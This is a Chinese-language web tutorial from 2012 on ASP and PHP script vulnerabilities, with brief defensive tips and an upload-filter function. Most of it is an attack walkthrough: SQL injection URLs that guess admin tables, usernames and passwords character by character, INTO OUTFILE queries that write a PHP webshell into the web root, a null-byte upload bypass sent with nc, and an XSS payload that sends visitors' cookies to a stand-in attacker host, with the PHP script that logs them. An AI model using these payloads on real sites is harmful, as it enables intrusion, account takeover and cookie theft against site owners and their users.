SQL注入腳本漏洞的挖掘與防護 |
發(fā)布時間: 2012/7/4 15:02:08 |
隨著網(wǎng)絡經(jīng)濟的復舒,開始越來越多的網(wǎng)站涌現(xiàn)出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,并且越來越低齡化和傻瓜化。“你只要會用一個工具就可以黑站”,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不了解,或者某個參數(shù)忘記檢查導致的。 由于編寫網(wǎng)頁程序這個行業(yè)的入門門檻不高,程序員的水平及經(jīng)驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。 相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基于iis的asp程序http://localhost/test/show.asp?ID=3,將這個網(wǎng)址提交到服務器后,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數(shù),本例即是3),再將查詢結果返回給客戶端,如果這里客戶端故意提交這么一個網(wǎng)址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下: ·錯誤類型: Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 ’test’ 轉換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。 /test/show.asp, 第 34 行 從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數(shù)據(jù)庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數(shù)據(jù)的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網(wǎng)站管理員的帳號和密碼。比如當知道網(wǎng)站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這里接著從客戶端提交這樣一個網(wǎng)址: http://localhost/test/show.asp?ID=4 and (Select password from login where user_name=’admin’)>0 返回的出錯信息如下: ·錯誤類型: Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 ’admin888’ 轉換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。 /test/show.asp, 第 34 行 現(xiàn)在出來了“admin888”就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網(wǎng)站了!當然我們并不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個工具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數(shù)據(jù)庫的注入基礎,我們再看一看acce數(shù)據(jù)庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇“屬性”,在彈出來的對話框中選擇“高級”選項卡,接著去掉“顯示友好的HTTP錯誤信息”前面的鉤,最后點擊“應用”按鈕即可。 對于sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xxxx.com/xxx.asp?id=xx的url后加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx’ 如果出現(xiàn)錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數(shù)據(jù)庫,1=1是一個恒等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那么一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恒不等式,如果該站點支持數(shù)據(jù)庫查詢,則大概會返回如下所示的信息: Microsoft vbscript 編譯器錯誤 錯誤碼率 ‘800a03f6’ 缺少’End’ /iishelp/common/500-100.asp,行242 ADODB.Field 錯誤 ‘800a0bcd’ 一般出現(xiàn)以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析: 如: 打開:http://hostlocal/test2/list.asp?id=17在其后面加'為http://hostlocal/test2/list.asp?id=17' 出錯!顯示為:“數(shù)據(jù)庫出錯”。那么接下來我們便進行如下操作: 1 猜管理員帳號表。 2 猜相應表中的用戶的字段名以及密碼的字段名。 3 猜出用戶名的長度和密碼的長度 4 猜出用戶和密碼 5 找到管理頁面進入管理 猜管理員的表: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值 返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。 猜用戶的字段名: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回錯誤信息,表示沒有user這個用戶段名 再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa') 沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa 猜密碼的字段名: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd='aaa')返回錯誤信息表示沒有passwd這個密碼字段名。 再來:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa')沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa 猜用戶字段名長度: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username) >5) 正確 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10) 正確 用戶名長度大于5小于10 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username) =7) 呵``` 用戶名長度為7位 猜密碼長度: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5) 正確 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10) 正確 密碼長度也是大于5小于10 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7) 呵``` 密碼長度為7位 猜用戶名: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a') 用戶名第一個字母是:a 猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)='b') 以此類推! 猜密碼: 猜密碼跟猜用戶名一樣! http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a') 猜完后來到管理頁面: http://hostlocal/test2/admin.asp 登錄 接下來我簡述一下對于php的注入攻擊: Php的環(huán)境一般是apache+php+mysql,平常配置服務器一般是打開php.ini里的安全模式,將safe_mode設為on,還有就是將display_erors設為off,即關閉錯誤顯示。還有一個非常重要的配置選項-----magic_quotes_gpc,高版本默認為on,以前的版本中默認為off。當magic_quotes_gpc為on的時候我們怎么防范php的字符變量注入呢?其實只需將提交的變量中的所有單引號、雙引號、反斜線和空字告符自動轉換為含有反斜線的轉義字符。如把“’”變成“\”,把“\”變成“\\”,就ok了。下面我們分為對magic_quotes_gpc=off和magic_quotes_gpc=on的注入清況分析一下。 我們先看一段有漏洞的php代碼,這段代碼是用來搜索的。 從上面代碼中我們可以看出,是一個搜索表單,通過post提交數(shù)據(jù),并進行select查詢,當然要分析這些漏洞我們得先掌握php語言和mysql語法。如果我們從表單中提交%’ order by id#(#號在mysql中表示注釋,不執(zhí)行后面的sql語句),或者用’ order by id#,帶入的sql語句就成了select * from user where username like ‘% %’ order by id# order by username 和 select * from users where’ order by id# order by username。這樣數(shù)據(jù)庫的內(nèi)容會全部返回,列出所有用戶名,還有密碼等。當然還有update 語句注入攻擊、insert語句注入攻擊等,最常用的是union語法注入,采用into outfile語句導出php腳本木馬。 首先要清楚一些mysql語句,如mysql>select load_file(‘c:/boot.ini’)我們可以查看c盤下的boot.ini文件內(nèi)容,在有注入點的網(wǎng)址后面加入該查詢語句就可以顯示出黑客們想獲得的敏感信息,如查看數(shù)據(jù)庫的連接文件獲得數(shù)據(jù)庫帳號,查看ect/password信息等。Select * from table into outfile "C:\\Inetpub\\wwwroot\\shell.php";也就是從表中導出字符串到C:\Inetpub\wwwroot\shell.php中,通常黑客們在得到mysql帳號的情況下,利用create table rose(cmd text);建立一個rose表,字段cmd為text類型,然后用use rose;打開rose表,insert into rose values")加入一句話馬到字段里。然后select * from rose into outfile "C:\\Inetpub\\wwwroot\\shell.php";將一句話木馬導出為一個shell.php文件,當然這個shell.php中就包含懂php的都知道這句會造成什么后果,配合提交參數(shù),是可以執(zhí)行cmd命令和上傳php木馬的。 當magic_quotes_gpc=on時,提交變量中的所有單引號、雙引號、反斜線和空字符會自動轉換為含有反斜線的轉義字符,字符型的注入可以防范,但數(shù)字型沒有用到單引號,字符型注入也可以通過char()將參數(shù)解釋為整數(shù),并返回由這些整數(shù)的ASCII碼字符組成的一個字符串,也可以用16進制來代替字符。例如:在瀏覽器里輸入http://localhost/www/admin/login.php?username=char(114,111,115,101)%23 上面假設的我們知道的用戶名是rose,轉換成ASCII后是char(114,111,115,101),%23是#號 表注釋。那么sql語句變成:select * from example where username==’’,后面的and password=’’被注釋掉了,我們順利進入后臺。 在腳本漏洞中,除了sql注入漏洞外還存在很多腳本漏洞,如上傳漏洞、暴庫漏洞、跨站漏洞、權限提升漏洞,cookies欺騙漏洞等。 上傳漏洞:程序代碼對上傳過濾不嚴造成可以上傳擴展名為asp或php的腳本文件,惡意用戶就利用這個漏洞上傳asp或php木馬直接危急網(wǎng)站及服務器。從2004年國內(nèi)上傳漏洞暴出導致一大片站點被黑,我們看一看原始的動網(wǎng)上傳漏洞的原因。 在動網(wǎng)的upfile.asp文件中有這么一句代碼: filename=formPath&year(now)&month(now)&day(now)&hour (now)&minute(now)&second(now)&ranNum&"."&fileExt,其中變量filename是要保存上傳頭像的文件名, fileExt是要保存文件的后綴。下面我們來看看判斷后綴的依據(jù)從何而來。 reg_upload.asp中部分代碼如下: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上傳" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 我們可以看到upfile.asp程序是提取file1表單和fname表單中的值來做文件后綴判斷的, file1和fname的值來源于客戶端,這給我們欺騙服務端的程序提供了可能。這里直接從頁面上遞交我們的ASP文件是行不通的。但是,如果我們自己構造數(shù)據(jù)包就可以繞過服務端文件類型的檢測了。而在這句 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt,代碼中我們發(fā)現(xiàn),只要讓frompath變量做為一個已經(jīng)結束的字符串,那么后面的那些改變上傳文件名的函數(shù)就都不起作用了。在計算機中檢測字符串是否結束是通過檢測’/0’來實現(xiàn)的,只要發(fā)現(xiàn)了’/0’就認為結束;也就是說我們在構造上傳文件保存路徑時,只要欺騙計算機,讓他認為類似 "uploadface/mm.asp"這樣的路徑參數(shù)已經(jīng)結束了,從而達到直接將文件保存為我們定義的文件名的目的。(其實upfile.asp判斷你上傳的頭像是否為asp后綴并不重要的,漏洞的關鍵就是一個formPath變量沒有過濾及截斷的問題。只要我們設定formPath的變量為“uploadface/xx.asp”這樣的值,再在這個值后加個00截斷字符就可以了。上傳的asp后綴沒有變化,只是因為我們把formPath的變量指定為了uploadface/xx.asp這種格式。file1、forame表單值只是判斷我們上傳的文件是否合法的jpg或gif后綴而已,而上傳asp文件的后綴指定不是因為這兩個。 黑客的攻擊手法就是通過注冊后上傳asp木馬(當然失。谏蟼鞯耐瑫r進行抓包,將抓的包保存在記事本中,修改包中的asp擴展名為gif欺騙服務器,再修改包里增加文件的長度,再修正空格為’/0’,然后用nc –vv 網(wǎng)站 80 <修改的文本.txt提交數(shù)據(jù)到服務器就成功上傳了一個腳本木馬。當然后來網(wǎng)上寫成了軟件提高了率效,如老兵上傳利工具等。對于上傳漏洞的防范,我們可以直接通過上傳組件進行防范,如下: 這里以ASPUPLOAD組件上傳為例 以下是3個關鍵函數(shù): function killext(byval s1) ’去掉非法文件后綴 dim allowext allowext=".JPG,.JPEG,.GIF,.BMP,.PNG,.SWF,.RM,.MP3,.WAV,.MID,.MIDI,.R,. AVI,.MPG,.MPEG,.ASF,.ASX,.WMA,.MOV,.RAR,.ZIP,.EXE,.DOC,.XLS,.CHM,.HLP,.PDF" s1=ucase(s1) if len(s1)=0 then killext="" else if not chk(allowext,s1,",") then killext=".shit" else killext=s1 end if end if end function function chk(byval s1,byval s2,byval fuhao) ’檢查字符串包含 dim i,a chk=false a=split(s1,fuhao) for i = 0 to ubound(a) if trim(a(i))=trim(s2) then chk=true exit for end if next end function function gname(byval n1) ’以日期自動產(chǎn)生目錄和文件名,參數(shù)1生成目錄,參數(shù)2生成文件名(無后綴) dim t,r t=now() randomize(timer) r=int((rnd+1-1)*9999) select case n1 case 1 gname=year(t)&right("00"&month(t),2)&right("00"&day(t),2) case 2 gname=right("00"&hour(t),2)&right("00"&minute(t),2)&right("00"&second(t),2)&right ("0000"&r,4) end select end function 調用方法: dim oup,ofile,ext,myfile Set oup = Server.CreateObject("Persits.Upload") oup.SetMaxSize 10000000, True call oup.Save() ’這里是上傳到服務器內(nèi)存,并沒有實際文件產(chǎn)生 set ofile = oup.files(1) ext=killext(ofile.ext) myfile="/" & ganme(1) & "/" & gname(2) & ext call ofile.saveas(server.mappath(myfile)) 當然php程序也有部分存在上傳漏洞,如DISCUZ2.0論壇等。 下面我們來看一下暴庫: 我們知道一個網(wǎng)站的數(shù)據(jù)都存放在數(shù)據(jù)庫里,包括管理員的用戶名和密碼,當我們?nèi)〉煤罂梢灾苯釉诰W(wǎng)站的后臺登錄,然后通過欺騙上傳或備分數(shù)據(jù)庫上傳的方法上傳一個asp木馬。常見的暴庫方法用conn.asp方法和%5c方法,通常要在ie選項的高級設置中去掉“顯示友好http錯誤”選項的勾。 Conn.asp暴庫方法:大多網(wǎng)站都采用conn.asp作為網(wǎng)站的數(shù)據(jù)庫連接文件,通常黑客們采用直接訪問conn.asp使服務器產(chǎn)生錯誤暴出路徑,但這種漏洞已很少存在。%5c是一個精典的暴庫方法,通常把網(wǎng)站有數(shù)據(jù)庫連接的網(wǎng)址(通常是二級目錄下)的最后一個“/”改為“%5c”,即可暴出數(shù)據(jù)庫。原理就是%5c是16進制中的“\”,ie通常遇到“%5c”是不會轉換的,當iis遇到%5c,即認為是“\”時,iis就以為遇到了一個虛擬目錄便停止解析,而暴出數(shù)據(jù)庫的路徑。 對暴庫的防范,首先在conn.asp中加入容錯語句,對于上傳上去的數(shù)據(jù)庫要進行加密,數(shù)據(jù)庫中的密碼也要采取md5加密,在數(shù)據(jù)庫名中加入#號,將數(shù)據(jù)庫后綴改為asp等。 跨站漏洞: 漏洞成因:是因為CGI程序沒有對用戶提交的變量中的HTML代碼進行過濾或轉換。主要危害有:獲取其他用戶Cookie中的敏感數(shù)據(jù)和掛馬 例如: 1. 進入首頁http://localhost 2. 輸入用戶名“<h1>”,提交,發(fā)現(xiàn)服務器返回信息中包含了用戶提交的“<h1>”。 3. 分析抓包數(shù)據(jù),得到實際請求: http://localhost/test/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 4. 構造一個提交,目標是能夠顯示用戶Cookie信息: http://localhost/test//login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6 5. 如果上面的請求獲得預期的效果,那么我們就可以嘗試下面的請求: http://localhost/test/login/login.pl?username=<script>window.open("http://www.xxx.com/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6 其中http://www.xxx.com/info.php是你能夠控制的某臺主機上的一個腳本,功能是獲取查詢字符串的信 息,內(nèi)容如下: <?php $info = getenv("QUERY_STRING"); if ($info) { $fp = fopen("info.txt","a"); fwrite($fp,$info."\n"); fclose($fp); } header("Location: http://localhostt"); 注:“%2B”為“+”的URL編碼,并且這里只能用“%2B”,因為“+”將被作為空格處理。后面的header語 句則純粹是為了增加隱蔽性。 當然跨站還有多種攻擊形式,如誘使網(wǎng)站管理員查看圖片建立管理員帳號,跳轉窗口到網(wǎng)馬地址,利用cookies欺騙登錄后臺等。 防范方法: 過濾或轉換用戶提交數(shù)據(jù)中的HTML代碼 2. 限制用戶提交數(shù)據(jù)的長度 3. 不要輕易訪問別人給你的鏈接 4. 禁止瀏覽器運行JavaScript和ActiveX代碼 還有權限提升漏洞,cookies欺騙漏洞等多種腳本漏洞 本文出自:億恩科技【www.allwellnessguide.com】 |